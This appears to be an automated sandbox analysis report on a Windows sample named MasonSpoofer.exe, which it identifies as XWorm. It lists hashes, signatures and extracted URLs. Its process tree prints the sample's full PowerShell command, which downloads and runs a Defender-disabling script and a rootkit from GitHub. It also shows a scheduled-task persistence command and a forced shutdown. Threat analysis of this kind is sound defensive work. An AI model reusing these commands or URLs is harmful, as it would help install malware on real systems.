Analysis
-
max time kernel
40s -
max time network
40s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
05/03/2025, 16:01
Behavioral task
behavioral1
Sample
MasonSpoofer.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
MasonSpoofer.exe
Resource
win10v2004-20250217-en
Errors
General
-
Target
MasonSpoofer.exe
-
Size
54KB
-
MD5
4d0c7560ec5c28a513a9fde9838547e8
-
SHA1
66393d9c9e6b3a9f4d38b6bc9161d28e7a7b2ffd
-
SHA256
eed83e7510bd8497fad0f0b65455e8afa0531b9833357ad75934ff8df0a7896a
-
SHA512
77df7c7dcd8a29cc8c83c074902e90f0f3ade77ca726ef33c543c8877112f5f5ea424ff003d720f3ddc9ec8683d712dcc9760b9e22b89fcfaa5f5ea2409fac11
-
SSDEEP
1536:vi5XmXObBvFn2TzqbLho8I/HusbOznuf:vcvF2SbLhu/HusbOzuf
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
-
Install_directory
%port%
-
install_file
svchost.exe
-
pastebin_url
https://pastebin.com/raw/J42c6s7r
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/2900-1-0x00000000009B0000-0x00000000009C4000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2744 powershell.exe 6 2744 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2744 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 14 IoCs
flow ioc 25 raw.githubusercontent.com 12 raw.githubusercontent.com 16 raw.githubusercontent.com 17 raw.githubusercontent.com 19 raw.githubusercontent.com 20 raw.githubusercontent.com 22 raw.githubusercontent.com 23 raw.githubusercontent.com 24 raw.githubusercontent.com 8 pastebin.com 9 pastebin.com 13 raw.githubusercontent.com 18 raw.githubusercontent.com 21 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2696 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2900 MasonSpoofer.exe Token: SeDebugPrivilege 2744 powershell.exe Token: SeShutdownPrivilege 2980 shutdown.exe Token: SeRemoteShutdownPrivilege 2980 shutdown.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2900 wrote to memory of 2744 2900 MasonSpoofer.exe 30 PID 2900 wrote to memory of 2744 2900 MasonSpoofer.exe 30 PID 2900 wrote to memory of 2744 2900 MasonSpoofer.exe 30 PID 2900 wrote to memory of 2696 2900 MasonSpoofer.exe 32 PID 2900 wrote to memory of 2696 2900 MasonSpoofer.exe 32 PID 2900 wrote to memory of 2696 2900 MasonSpoofer.exe 32 PID 2900 wrote to memory of 2980 2900 MasonSpoofer.exe 36 PID 2900 wrote to memory of 2980 2900 MasonSpoofer.exe 36 PID 2900 wrote to memory of 2980 2900 MasonSpoofer.exe 36 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonSpoofer" /tr "C:\Users\Admin\AppData\Roaming\MasonSpoofer.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2696
-
-
C:\Windows\system32\shutdown.exeshutdown.exe /f /s /t 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:2528
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:2440
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
71KB
MD583142242e97b8953c386f988aa694e4a
SHA1833ed12fc15b356136dcdd27c61a50f59c5c7d50
SHA256d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755
SHA512bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10
-
Filesize
183KB
MD5109cab5505f5e065b63d01361467a83b
SHA14ed78955b9272a9ed689b51bf2bf4a86a25e53fc
SHA256ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673
SHA512753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc